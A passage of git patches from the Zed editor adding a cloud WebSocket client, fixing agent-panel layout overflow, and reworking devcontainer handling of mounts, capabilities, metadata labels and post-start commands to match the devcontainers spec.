+use futures::stream::{SplitSink, SplitStream};
+use futures::{FutureExt as _, SinkExt as _, StreamExt as _, TryStreamExt as _};
+use gpui::{App, Task};
+use http_client::http::request;
+use yawc::frame::Frame;
+use yawc::{TcpWebSocket, WebSocket};
+
+use super::{MessageStream, forward_frame};
+use crate::CloudApiClient;
+
+const KEEPALIVE_INTERVAL: Duration = Duration::from_secs(1);
+
+pub struct Connection {
+    tx: SplitSink<TcpWebSocket, Frame>,
+    rx: SplitStream<TcpWebSocket>,
+}
+
+impl Connection {
+    fn new(websocket: TcpWebSocket) -> Self {
+        let (tx, rx) = websocket.split();
+        Self { tx, rx }
+    }
+
+    pub fn spawn(self, cx: &App) -> (MessageStream, Task<()>) {
+        let mut tx = self.tx;
+        let rx = self.rx.fuse();
+        let (message_tx, message_rx) = unbounded();
+        let executor = cx.background_executor().clone();
+        let task = cx.spawn(async move |_cx| {
+            let keepalive_timer = executor.timer(KEEPALIVE_INTERVAL).fuse();
+            futures::pin_mut!(keepalive_timer, rx);
+
+            loop {
+                futures::select_biased! {
+                    _ = keepalive_timer => {
+                        if tx.send(Frame::ping(Vec::new())).await.is_err() {
+                            break;
+                        }
+                        keepalive_timer.set(executor.timer(KEEPALIVE_INTERVAL).fuse());
+                    }
+                    frame = rx.next() => {
+                        let Some(frame) = frame else {
+                            break;
+                        };
+                        if !forward_frame(frame, &message_tx) {
+                            break;
+                        }
+                    }
+                }
+            }
+        });
+
+        (message_rx.into_stream().boxed(), task)
+    }
+}
+
+impl CloudApiClient {
+    pub fn connect(self: &std::sync::Arc<Self>, cx: &App) -> Result<Task<Result<Connection>>> {
+        let mut connect_url = self
+            .http_client
+            .build_zed_cloud_url("/client/users/connect")?;
+        connect_url
+            .set_scheme(match connect_url.scheme() {
+                "https" => "wss",
+                "http" => "ws",
+                scheme => Err(anyhow!("invalid URL scheme: {scheme}"))?,
+            })
+            .map_err(|_| anyhow!("failed to set URL scheme"))?;
+
+        let credentials = self.credentials.read();
+        let credentials = credentials.as_ref().context("no credentials provided")?;
+        let authorization_header = format!("{} {}", credentials.user_id, credentials.access_token);
+
+        Ok(gpui_tokio::Tokio::spawn_result(cx, async move {
+            let websocket = WebSocket::connect(connect_url)
+                .with_request(
+                    request::Builder::new()
+                        .header("Authorization", authorization_header)
+                        .header(PROTOCOL_VERSION_HEADER_NAME, PROTOCOL_VERSION.to_string()),
+                )
+                .await?;
+
+            Ok(Connection::new(websocket))
+        }))
+    }
+}
diff --git a/crates/cloud_api_client/src/websocket/web.rs b/crates/cloud_api_client/src/websocket/web.rs
new file mode 100644
index 00000000000000..223791cb9a2700
--- /dev/null
+++ b/crates/cloud_api_client/src/websocket/web.rs
@@ -0,0 +1,79 @@
+use std::time::Duration;
+
+use anyhow::{Result, anyhow};
+
+use futures::channel::mpsc::unbounded;
+use futures::stream::SplitStream;
+use futures::{FutureExt as _, StreamExt as _, TryStreamExt as _};
+use gpui::{App, Task};
+use yawc::WebSocket;
+
+use super::{MessageStream, forward_frame};
+use crate::CloudApiClient;
+
+const CONNECT_TIMEOUT: Duration = Duration::from_secs(30);
+
+pub struct Connection {
+    rx: SplitStream<WebSocket>,
+}
+
+impl Connection {
+    fn new(websocket: WebSocket) -> Self {
+        let (_, rx) = websocket.split();
+        Self { rx }
+    }
+
+    pub fn spawn(self, cx: &App) -> (MessageStream, Task<()>) {
+        let mut rx = self.rx;
+        let (message_tx, message_rx) = unbounded();
+        let task = cx.spawn(async move |_cx| {
+            while let Some(frame) = rx.next().await {
+                let frame = match frame {
+                    Ok(frame) => frame,
+                    Err(error) => {
+                        let error = anyhow!("Cloud WebSocket error: {error}");
+                        if message_tx.unbounded_send(Err(error)).is_err() {
+                            break;
+                        }
+                        continue;
+                    }
+                };
+                if !forward_frame(frame, &message_tx) {
+                    break;
+                }
+            }
+        });
+
+        (message_rx.into_stream().boxed(), task)
+    }
+}
+
+impl CloudApiClient {
+    pub fn connect(self: &std::sync::Arc<Self>, cx: &App) -> Result<Task<Result<Connection>>> {
+        let client = self.clone();
+        let executor = cx.background_executor().clone();
+        Ok(cx.spawn(async move |_cx| {
+            let mut connect_url = client
+                .http_client
+                .build_zed_cloud_url("/client/users/connect")?;
+            connect_url
+                .set_scheme(match connect_url.scheme() {
+                    "https" => "wss",
+                    "http" => "ws",
+                    scheme => return Err(anyhow!("invalid URL scheme: {scheme}")),
+                })
+                .map_err(|_| anyhow!("failed to set URL scheme"))?;
+
+
+            let connect = WebSocket::connect(connect_url).fuse();
+            let timeout = executor.timer(CONNECT_TIMEOUT).fuse();
+            futures::pin_mut!(connect, timeout);
+            let websocket = futures::select_biased! {
+                result = connect => result.map_err(|error| anyhow!("failed to connect to Cloud WebSocket: {error}"))?,
+                _ = timeout => return Err(anyhow!("timed out connecting to Cloud WebSocket")),
+            };
+
+            Ok(Connection::new(websocket))
+        }))
+    }
+}
diff --git a/script/licenses/zed-licenses.toml b/script/licenses/zed-licenses.toml
index 17ebc15954a5c0..7f9c865616bca8 100644
--- a/script/licenses/zed-licenses.toml
+++ b/script/licenses/zed-licenses.toml
@@ -20,6 +20,7 @@ accepted = [
     "Zlib",
     "BSL-1.0",
     "bzip2-1.0.6",
+    "CDLA-Permissive-2.0",
 ]
 
 [procinfo.clarify]
diff --git a/tooling/xtask/src/tasks/workflows/run_tests.rs b/tooling/xtask/src/tasks/workflows/run_tests.rs
index 62043c545aa1e3..2707034eee74f0 100644
--- a/tooling/xtask/src/tasks/workflows/run_tests.rs
+++ b/tooling/xtask/src/tasks/workflows/run_tests.rs
@@ -499,7 +499,7 @@ fn check_wasm() -> NamedJob {
     fn cargo_check_wasm() -> Step<Run> {
         named::bash(concat!(
             "cargo -Zbuild-std=std,panic_abort ",
-            "check --target wasm32-unknown-unknown -p gpui_platform",
+            "check --target wasm32-unknown-unknown -p gpui_platform -p cloud_api_client",
         ))
         .add_env((
             "CARGO_TARGET_WASM32_UNKNOWN_UNKNOWN_RUSTFLAGS",

From 613777018f5bcc6324307c1186adb66aa2050fe4 Mon Sep 17 00:00:00 2001
From: Yifeng Xu <110726416+peakxy@users.noreply.github.com>
Date: Tue, 21 Jul 2026 13:56:24 +0000
Subject: [PATCH 601/772] thread_view: Fix overflow of placeholder text and
 message editor controls (#61395)

# Objective

Fixes #61391
Fixes #60876

Fix Agent Panel prompt text and controls being clipped when the panel is
narrow.

## Solution

- Allow the message editor and ACP configuration controls to shrink and
wrap.
- Use a dynamic minimum panel width based on the active Agent's prompt
text.
- Cap that dynamic width so long prompts, such as Zed Agent's, do not
prevent the panel from being resized narrower.

## Testing

- `cargo fmt --all -- --check`
- `cargo check -p agent_ui`
- `cargo test -p agent_ui --lib
conversation_view::tests::test_restored_threads_keep_available_commands`
- `cargo test -p agent_ui --lib config_options::tests`

Manual UI testing is still recommended for Zed Agent and third-party
Agent Panels at narrow widths.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase


https://github.com/user-attachments/assets/71825d64-6e5d-40fe-98a4-dcb13903e06b


---

Release Notes:

- Agent: Fixed agent panel placeholder and controls overflowing when the
panel width was narrow.

---------

Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
---
 crates/agent_ui/src/config_options.rs                | 2 ++
 crates/agent_ui/src/conversation_view/thread_view.rs | 5 +++++
 2 files changed, 7 insertions(+)

diff --git a/crates/agent_ui/src/config_options.rs b/crates/agent_ui/src/config_options.rs
index ccb821f9b2d3a0..cbefa713c2b665 100644
--- a/crates/agent_ui/src/config_options.rs
+++ b/crates/agent_ui/src/config_options.rs
@@ -279,6 +279,8 @@ impl Render for ConfigOptionsView {
         }
 
         h_flex()
+            .min_w_0()
+            .flex_wrap()
             .gap_1()
             .children(self.selectors.iter().cloned())
             .into_any_element()
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index bd50d64504931a..e4e7daa267dd05 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -4298,6 +4298,7 @@ impl ThreadView {
                 v_flex()
                     .when_some(max_content_width, |this, max_w| this.flex_basis(max_w))
                     .when(max_content_width.is_none(), |this| this.w_full())
+                    .min_w_0()
                     .when(fills_container, |this| this.h_full())
                     .px_2()
                     .flex_shrink_1()
@@ -4349,11 +4350,14 @@ impl ThreadView {
                     .child(
                         h_flex()
                             .w_full()
+                            .min_w_0()
                             .flex_none()
                             .flex_wrap()
                             .justify_between()
                             .child(
                                 h_flex()
+                                    .min_w_0()
+                                    .flex_wrap()
                                     .gap_0p5()
                                     .child(self.render_add_context_button(cx))
                                     .child(self.render_follow_toggle(cx))
@@ -4362,6 +4366,7 @@ impl ThreadView {
                             )
                             .child(
                                 h_flex()
+                                    .min_w_0()
                                     .flex_wrap()
                                     .gap_1()
                                     .children(self.render_token_usage(cx))

From 6aed6961556dcfc896fa64f607a8291097660035 Mon Sep 17 00:00:00 2001
From: Duncan Ogilvie <mr.exodia.tpodt@gmail.com>
Date: Tue, 21 Jul 2026 14:15:32 +0000
Subject: [PATCH 602/772] Fix Devcontainer bugs/spec mismatches (#59020)

When testing Zed on our team's Devcontainer I found some missing
features/bugs/spec mismatches. Commit messages were written by hand,
code reviewed and tested manually, but everything was written by
Claude/Codex based on:

- https://github.com/devcontainers/cli
- https://github.com/devcontainers/spec

The main use case of the metadata is that you can `devcontainer exec`
and `devcontainer up` into a container Zed started (and vice versa). The
same with VSCode, it will reuse Zed's created devcontainer correctly
now. This is useful when using LLMs so they can run commands in the same
devcontainer you have open.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed Dev Container compatibility and lifecycle behavior.
---
 crates/dev_container/src/devcontainer_api.rs  |    2 +
 crates/dev_container/src/devcontainer_json.rs |    6 +-
 .../src/devcontainer_manifest.rs              | 1127 ++++++++++++++---
 crates/dev_container/src/docker.rs            |  136 +-
 crates/dev_container/src/features.rs          |   95 ++
 crates/remote/src/transport/docker.rs         |   43 +-
 6 files changed, 1213 insertions(+), 196 deletions(-)

diff --git a/crates/dev_container/src/devcontainer_api.rs b/crates/dev_container/src/devcontainer_api.rs
index 395d50b6bd3dd4..acd5a70b115ffc 100644
--- a/crates/dev_container/src/devcontainer_api.rs
+++ b/crates/dev_container/src/devcontainer_api.rs
@@ -58,6 +58,8 @@ pub(crate) struct DevContainerUp {
     pub(crate) extension_ids: Vec<String>,
     #[serde(default)]
     pub(crate) remote_env: HashMap<String, String>,
+    #[serde(default)]
+    pub(crate) started_at: Option<String>,
 }
 
 #[derive(Debug)]
diff --git a/crates/dev_container/src/devcontainer_json.rs b/crates/dev_container/src/devcontainer_json.rs
index c8573b6b9c8520..38588241bdf9ad 100644
--- a/crates/dev_container/src/devcontainer_json.rs
+++ b/crates/dev_container/src/devcontainer_json.rs
@@ -213,10 +213,10 @@ pub(crate) struct DevContainer {
     user_env_probe: Option<UserEnvProbe>,
     pub(crate) override_command: Option<bool>,
     shutdown_action: Option<ShutdownAction>,
-    init: Option<bool>,
+    pub(crate) init: Option<bool>,
     pub(crate) privileged: Option<bool>,
-    cap_add: Option<Vec<String>>,
-    security_opt: Option<Vec<String>>,
+    pub(crate) cap_add: Option<Vec<String>>,
+    pub(crate) security_opt: Option<Vec<String>>,
     #[serde(default, deserialize_with = "deserialize_mount_definitions")]
     pub(crate) mounts: Option<Vec<MountDefinition>>,
     pub(crate) features: Option<HashMap<String, FeatureOptions>>,
diff --git a/crates/dev_container/src/devcontainer_manifest.rs b/crates/dev_container/src/devcontainer_manifest.rs
index 3392e01da59e00..357ecbf1860c44 100644
--- a/crates/dev_container/src/devcontainer_manifest.rs
+++ b/crates/dev_container/src/devcontainer_manifest.rs
@@ -127,11 +127,11 @@ impl DevContainerManifest {
         let labels = vec![
             (
                 "devcontainer.local_folder",
-                (self.local_project_directory.display()).to_string(),
+                normalize_label_path(&self.local_project_directory.display().to_string()),
             ),
             (
                 "devcontainer.config_file",
-                (self.config_file().display()).to_string(),
+                normalize_label_path(&self.config_file().display().to_string()),
             ),
         ];
         labels
@@ -142,7 +142,15 @@ impl DevContainerManifest {
         content: &str,
     ) -> Result<serde_json_lenient::Value, DevContainerError> {
         let mut value = deserialize_devcontainer_json_to_value(content)?;
-        let mut to_visit = vec![&mut value];
+        self.substitute_nonremote_vars_in_value(&mut value)?;
+        Ok(value)
+    }
+
+    fn substitute_nonremote_vars_in_value(
+        &self,
+        value: &mut serde_json_lenient::Value,
+    ) -> Result<(), DevContainerError> {
+        let mut to_visit = vec![value];
 
         while let Some(value) = to_visit.pop() {
             use serde_json_lenient::Value;
@@ -185,7 +193,7 @@ impl DevContainerManifest {
             }
         }
 
-        Ok(value)
+        Ok(())
     }
 
     fn parse_nonremote_vars(&mut self) -> Result<(), DevContainerError> {
@@ -600,7 +608,12 @@ impl DevContainerManifest {
                     DevContainerError::ResourceFetchFailed
                 })?;
 
-            let feature_manifest = FeatureManifest::new(consecutive_id, feature_dir, feature_json);
+            let feature_manifest = FeatureManifest::new(
+                consecutive_id,
+                feature_ref.to_string(),
+                feature_dir,
+                feature_json,
+            );
 
             log::debug!("Prepared feature content for '{}'", feature_ref);
 
@@ -780,6 +793,7 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${{PATH:-\3}}/g' /etc/profile || true
     fn build_merged_resources(
         &self,
         base_image: DockerInspect,
+        image_tag: &str,
     ) -> Result<DockerBuildResources, DevContainerError> {
         let dev_container = match &self.config {
             ConfigStatus::Deserialized(_) => {
@@ -790,14 +804,78 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${{PATH:-\3}}/g' /etc/profile || true
             }
             ConfigStatus::VariableParsed(dev_container) => dev_container,
         };
-        let mut mounts = dev_container.mounts.clone().unwrap_or(Vec::new());
+        let mut mounts = Vec::new();
+        let mut cap_add = Vec::new();
+        let mut security_opt = Vec::new();
+        let mut privileged = false;
+        let mut init = false;
+        let mut metadata_entries = base_image
+            .config
+            .labels
+            .metadata
+            .clone()
+            .unwrap_or_default();
+        for entry in &mut metadata_entries {
+            for value in entry.values_mut() {
+                self.substitute_nonremote_vars_in_value(value)?;
+            }
+        }
 
-        let mut feature_mounts = self.features.iter().flat_map(|f| f.mounts()).collect();
+        for entry in &metadata_entries {
+            if let Some(serde_json_lenient::Value::Array(metadata_mounts)) = entry.get("mounts") {
+                for mount in metadata_mounts {
+                    if let Some(mount) = mount_definition_from_metadata(mount) {
+                        append_mount_with_target_override(&mut mounts, mount);
+                    }
+                }
+            }
+            if entry.get("privileged").and_then(|value| value.as_bool()) == Some(true) {
+                privileged = true;
+            }
+            if entry.get("init").and_then(|value| value.as_bool()) == Some(true) {
+                init = true;
+            }
+            if let Some(serde_json_lenient::Value::Array(caps)) = entry.get("capAdd") {
+                for cap in caps.iter().filter_map(|cap| cap.as_str()) {
+                    push_unique_string(&mut cap_add, cap);
+                }
+            }
+            if let Some(serde_json_lenient::Value::Array(opts)) = entry.get("securityOpt") {
+                for opt in opts.iter().filter_map(|opt| opt.as_str()) {
+                    push_unique_string(&mut security_opt, opt);
+                }
+            }
+        }
 
-        mounts.append(&mut feature_mounts);
+        for feature in &self.features {
+            for mount in feature.mounts() {
+                append_mount_with_target_override(&mut mounts, mount);
+            }
+            if feature.privileged() {
+                privileged = true;
+            }
+            if feature.init() {
+                init = true;
+            }
+            for cap in feature.cap_add() {
+                push_unique_string(&mut cap_add, &cap);
+            }
+            for opt in feature.security_opt() {
+                push_unique_string(&mut security_opt, &opt);
+            }
+        }
 
-        let privileged = dev_container.privileged.unwrap_or(false)
-            || self.features.iter().any(|f| f.privileged());
+        for mount in dev_container.mounts.clone().unwrap_or_default() {
+            append_mount_with_target_override(&mut mounts, mount);
+        }
+        privileged |= dev_container.privileged.unwrap_or(false);
+        init |= dev_container.init.unwrap_or(false);
+        for cap in dev_container.cap_add.clone().unwrap_or_default() {
+            push_unique_string(&mut cap_add, &cap);
+        }
+        for opt in dev_container.security_opt.clone().unwrap_or_default() {
+            push_unique_string(&mut security_opt, &opt);
+        }
 
         let entrypoint_script = if dev_container.override_command == Some(false) {
             None
@@ -818,10 +896,31 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${{PATH:-\3}}/g' /etc/profile || true
             Some(entrypoint_script_lines.join("\n").trim().to_string())
         };
 
+        let mut container_env = HashMap::new();
+        for entry in &metadata_entries {
+            if let Some(serde_json_lenient::Value::Object(env_map)) = entry.get("containerEnv") {
+                for (k, v) in env_map {
+                    if let Some(s) = v.as_str() {
+                        container_env.insert(k.clone(), s.to_string());
+                    }
+                }
+            }
+        }
+        if let Some(config_env) = &dev_container.container_env {
+            for (k, v) in config_env {
+                container_env.insert(k.clone(), v.clone());
+            }
+        }
+
         Ok(DockerBuildResources {
             image: base_image,
+            image_tag: image_tag.to_string(),
             additional_mounts: mounts,
+            container_env,
             privileged,
+            init,
+            cap_add,
+            security_opt,
             entrypoint_script,
         })
     }
@@ -837,12 +936,32 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${{PATH:-\3}}/g' /etc/profile || true
         match dev_container.build_type() {
             DevContainerBuildType::Image(base_image) => {
                 let built_docker_image = self.build_docker_image().await?;
+                let has_features = dev_container
+                    .features
+                    .as_ref()
+                    .is_some_and(|features| !features.is_empty());
+                let features_image_tag = self
+                    .features_build_info
+                    .as_ref()
+                    .map(|info| info.image_tag.as_str());
+                let uid_base_image = if has_features {
+                    features_image_tag.unwrap_or(&base_image)
+                } else {
+                    &base_image
+                };
+                let will_update_remote_user_uid =
+                    self.should_update_remote_user_uid(&built_docker_image)?;
 
                 let built_docker_image = self
-                    .update_remote_user_uid(built_docker_image, &base_image)
+                    .update_remote_user_uid(built_docker_image, uid_base_image)
                     .await?;
 
-                let resources = self.build_merged_resources(built_docker_image)?;
+                let image_tag = if has_features || will_update_remote_user_uid {
+                    features_image_tag.unwrap_or(&base_image)
+                } else {
+                    &base_image
+                };
+                let resources = self.build_merged_resources(built_docker_image, image_tag)?;
                 Ok(DevContainerBuildResources::Docker(resources))
             }
             DevContainerBuildType::Dockerfile(_) => {
@@ -857,7 +976,8 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${{PATH:-\3}}/g' /etc/profile || true
                     .update_remote_user_uid(built_docker_image, &features_build_info.image_tag)
                     .await?;
 
-                let resources = self.build_merged_resources(built_docker_image)?;
+                let resources = self
+                    .build_merged_resources(built_docker_image, &features_build_info.image_tag)?;
                 Ok(DevContainerBuildResources::Docker(resources))
             }
             DevContainerBuildType::DockerCompose => {
@@ -899,6 +1019,10 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${{PATH:-\3}}/g' /etc/profile || true
         let remote_env = self.runtime_remote_env(&running_container.config.env_as_map()?)?;
 
         Ok(DevContainerUp {
+            started_at: running_container
+                .state
+                .as_ref()
+                .and_then(|state| state.started_at.clone()),
             container_id: running_container.id,
             remote_user,
             remote_workspace_folder: remote_workspace_folder.display().to_string(),
@@ -1183,7 +1307,8 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${{PATH:-\3}}/g' /etc/profile || true
             .update_remote_user_uid(built_service_image, built_service_image_tag)
             .await?;
 
-        let resources = self.build_merged_resources(built_service_image)?;
+        let resources =
+            self.build_merged_resources(built_service_image, built_service_image_tag)?;
 
         let network_mode = main_service.network_mode.as_ref();
         let network_mode_service = network_mode.and_then(|mode| mode.strip_prefix("service:"));
@@ -1231,17 +1356,45 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${{PATH:-\3}}/g' /etc/profile || true
     ) -> Result<DockerComposeConfig, DevContainerError> {
         let mut runtime_labels = HashMap::new();
 
-        if let Some(metadata) = &resources.image.config.labels.metadata {
-            let serialized_metadata = serde_json_lenient::to_string(metadata).map_err(|e| {
-                log::error!("Error serializing docker image metadata: {e}");
-                DevContainerError::ContainerNotValid(resources.image.id.clone())
-            })?;
+        {
+            let mut metadata_entries: Vec<serde_json_lenient::Value> = Vec::new();
 
-            runtime_labels.insert("devcontainer.metadata".to_string(), serialized_metadata);
+            if let Some(image_metadata) = &resources.image.config.labels.metadata {
+                for entry in image_metadata {
+                    if let Ok(val) = serde_json_lenient::to_value(entry) {
+                        metadata_entries.push(val);
+                    }
+                }
+            }
+
+            for feature in &self.features {
+                let entry = feature.build_metadata_entry();
+                if !entry.is_empty() {
+                    metadata_entries.push(serde_json_lenient::Value::Object(entry));
+                }
+            }
+
+            if let Ok(substituted_json) = self.parse_nonremote_vars_for_content(&self.raw_config) {
+                let config_entry = build_devcontainer_metadata_entry(&substituted_json);
+                if !config_entry.is_empty() {
+                    metadata_entries.push(serde_json_lenient::Value::Object(config_entry));
+                }
+            }
+
+            if !metadata_entries.is_empty() {
+                let serialized = serde_json_lenient::to_string(&metadata_entries).map_err(|e| {
+                    log::error!("Error serializing docker image metadata: {e}");
+                    DevContainerError::ContainerNotValid(resources.image.id.clone())
+                })?;
+                runtime_labels.insert(
+                    "devcontainer.metadata".to_string(),
+                    escape_compose_interpolation(&serialized),
+                );
+            }
         }
 
         for (k, v) in self.identifying_labels() {
-            runtime_labels.insert(k.to_string(), v.to_string());
+            runtime_labels.insert(k.to_string(), escape_compose_interpolation(&v));
         }
 
         let config_volumes: HashMap<String, DockerComposeVolume> = resources
@@ -1283,13 +1436,40 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${{PATH:-\3}}/g' /etc/profile || true
             ]
         });
 
+        let cap_add = if resources.cap_add.is_empty() {
+            None
+        } else {
+            Some(resources.cap_add)
+        };
+        let security_opt = if resources.security_opt.is_empty() {
+            None
+        } else {
+            Some(resources.security_opt)
+        };
+
+        let environment = if resources.container_env.is_empty() {
+            None
+        } else {
+            Some(
+                resources
+                    .container_env
+                    .into_iter()
+                    .map(|(key, value)| (key, escape_compose_interpolation(&value)))
+                    .collect(),
+            )
+        };
+        let privileged = resources.privileged.then_some(true);
+        let init = resources.init.then_some(true);
+
         let mut main_service = DockerComposeService {
             entrypoint,
-            cap_add: Some(vec!["SYS_PTRACE".to_string()]),
-            security_opt: Some(vec!["seccomp=unconfined".to_string()]),
+            cap_add,
+            security_opt,
             labels: Some(runtime_labels),
             volumes,
-            privileged: Some(resources.privileged),
+            privileged,
+            init,
+            environment,
             ..Default::default()
         };
         // let mut extra_service_port_declarations: Vec<(String, DockerComposeService)> = Vec::new();
@@ -1457,6 +1637,14 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${{PATH:-\3}}/g' /etc/profile || true
         Ok(image)
     }
 
+    #[cfg(target_os = "windows")]
+    fn should_update_remote_user_uid(
+        &self,
+        _image: &DockerInspect,
+    ) -> Result<bool, DevContainerError> {
+        Ok(false)
+    }
+
     #[cfg(target_os = "windows")]
     async fn update_remote_user_uid(
         &self,
@@ -1465,27 +1653,37 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${{PATH:-\3}}/g' /etc/profile || true
     ) -> Result<DockerInspect, DevContainerError> {
         Ok(image)
     }
+
+    #[cfg(not(target_os = "windows"))]
+    fn should_update_remote_user_uid(
+        &self,
+        image: &DockerInspect,
+    ) -> Result<bool, DevContainerError> {
+        if self.features_build_info.is_none() {
+            return Ok(false);
+        }
+        if self.dev_container().update_remote_user_uid == Some(false) {
+            return Ok(false);
+        }
+        let remote_user = get_remote_user_from_config(image, self)?;
+        Ok(remote_user != "root" && !remote_user.chars().all(|c| c.is_ascii_digit()))
+    }
+
     #[cfg(not(target_os = "windows"))]
     async fn update_remote_user_uid(
         &self,
         image: DockerInspect,
         base_image: &str,
     ) -> Result<DockerInspect, DevContainerError> {
-        let dev_container = self.dev_container();
-
         let Some(features_build_info) = &self.features_build_info else {
             return Ok(image);
         };
 
-        // updateRemoteUserUID defaults to true per the devcontainers spec
-        if dev_container.update_remote_user_uid == Some(false) {
+        if !self.should_update_remote_user_uid(&image)? {
             return Ok(image);
         }
 
         let remote_user = get_remote_user_from_config(&image, self)?;
-        if remote_user == "root" || remote_user.chars().all(|c| c.is_ascii_digit()) {
-            return Ok(image);
-        }
 
         let image_user = image
             .config
@@ -1961,6 +2159,9 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${PATH:-\3}/g' /etc/profile || true
         if build_resources.privileged {
             command.arg("--privileged");
         }
+        if build_resources.init {
+            command.arg("--init");
+        }
 
         let run_args = match &self.dev_container().run_args {
             Some(run_args) => run_args,
@@ -2006,16 +2207,48 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${PATH:-\3}/g' /etc/profile || true
             command.arg(format!("{}={}", key, val));
         }
 
-        if let Some(metadata) = &build_resources.image.config.labels.metadata {
-            let serialized_metadata = serde_json_lenient::to_string(metadata).map_err(|e| {
-                log::error!("Problem serializing image metadata: {e}");
-                DevContainerError::ContainerNotValid(build_resources.image.id.clone())
-            })?;
-            command.arg("-l");
-            command.arg(format!(
-                "{}={}",
-                "devcontainer.metadata", serialized_metadata
-            ));
+        {
+            let mut metadata_entries: Vec<serde_json_lenient::Value> = Vec::new();
+
+            if let Some(image_metadata) = &build_resources.image.config.labels.metadata {
+                for entry in image_metadata {
+                    if let Ok(val) = serde_json_lenient::to_value(entry) {
+                        metadata_entries.push(val);
+                    }
+                }
+            }
+
+            for feature in &self.features {
+                let entry = feature.build_metadata_entry();
+                if !entry.is_empty() {
+                    metadata_entries.push(serde_json_lenient::Value::Object(entry));
+                }
+            }
+
+            if let Ok(substituted_json) = self.parse_nonremote_vars_for_content(&self.raw_config) {
+                let config_entry = build_devcontainer_metadata_entry(&substituted_json);
+                if !config_entry.is_empty() {
+                    metadata_entries.push(serde_json_lenient::Value::Object(config_entry));
+                }
+            }
+
+            if !metadata_entries.is_empty() {
+                let serialized = serde_json_lenient::to_string(&metadata_entries).map_err(|e| {
+                    log::error!("Problem serializing metadata: {e}");
+                    DevContainerError::ContainerNotValid(build_resources.image.id.clone())
+                })?;
+                command.arg("-l");
+                command.arg(format!("devcontainer.metadata={serialized}"));
+            }
+        }
+
+        for cap in &build_resources.cap_add {
+            command.arg("--cap-add");
+            command.arg(cap);
+        }
+        for opt in &build_resources.security_opt {
+            command.arg("--security-opt");
+            command.arg(opt);
         }
 
         if let Some(forward_ports) = &self.dev_container().forward_ports {
@@ -2031,15 +2264,20 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${PATH:-\3}/g' /etc/profile || true
             command.arg(app_port);
         }
 
+        for (key, value) in &build_resources.container_env {
+            command.arg("-e");
+            command.arg(format!("{key}={value}"));
+        }
+
         if let Some(entrypoint_script) = build_resources.entrypoint_script {
             command.arg("--entrypoint");
             command.arg("/bin/sh");
-            command.arg(&build_resources.image.id);
+            command.arg(&build_resources.image_tag);
             command.arg("-c");
             command.arg(entrypoint_script);
             command.arg("-");
         } else {
-            command.arg(&build_resources.image.id);
+            command.arg(&build_resources.image_tag);
         }
 
         Ok(command)
@@ -2064,7 +2302,8 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${PATH:-\3}/g' /etc/profile || true
 
         let devcontainer_up = self.run_dev_container(build_resources).await?;
 
-        self.run_remote_scripts(&devcontainer_up, true).await?;
+        self.run_remote_scripts(&devcontainer_up, true, true)
+            .await?;
 
         Ok(devcontainer_up)
     }
@@ -2073,6 +2312,7 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${PATH:-\3}/g' /etc/profile || true
         &self,
         devcontainer_up: &DevContainerUp,
         new_container: bool,
+        container_started: bool,
     ) -> Result<(), DevContainerError> {
         let ConfigStatus::VariableParsed(config) = &self.config else {
             log::error!("Config not yet parsed, cannot proceed with remote scripts");
@@ -2124,8 +2364,27 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${PATH:-\3}/g' /etc/profile || true
                         .await?;
                 }
             }
-            if let Some(post_start_command) = &config.post_start_command {
-                for (command_name, command) in post_start_command.script_commands() {
+        }
+        if let Some(post_start_command) = &config.post_start_command {
+            let script_commands = post_start_command.script_commands();
+            if let Some(started_at) = &devcontainer_up.started_at {
+                if !script_commands.is_empty() {
+                    for command_name in script_commands.keys() {
+                        log::debug!("Running post start command {command_name}");
+                    }
+                    let script = post_start_marker_script(started_at, script_commands);
+                    self.docker_client
+                        .run_docker_exec(
+                            &devcontainer_up.container_id,
+                            &remote_folder,
+                            &devcontainer_up.remote_user,
+                            &devcontainer_up.remote_env,
+                            Command::new(script),
+                        )
+                        .await?;
+                }
+            } else if container_started {
+                for (command_name, command) in script_commands {
                     log::debug!("Running post start command {command_name}");
                     self.docker_client
                         .run_docker_exec(
@@ -2180,11 +2439,11 @@ RUN sed -i -E 's/((^|\s)PATH=)([^\$]*)$/\1\${PATH:-\3}/g' /etc/profile || true
         if let Some(docker_ps) = self.check_for_existing_container().await? {
             log::debug!("Dev container already found. Proceeding with it");
 
-            let docker_inspect = self.docker_client.inspect(&docker_ps.id).await?;
+            let mut docker_inspect = self.docker_client.inspect(&docker_ps.id).await?;
 
-            if !docker_inspect.is_running() {
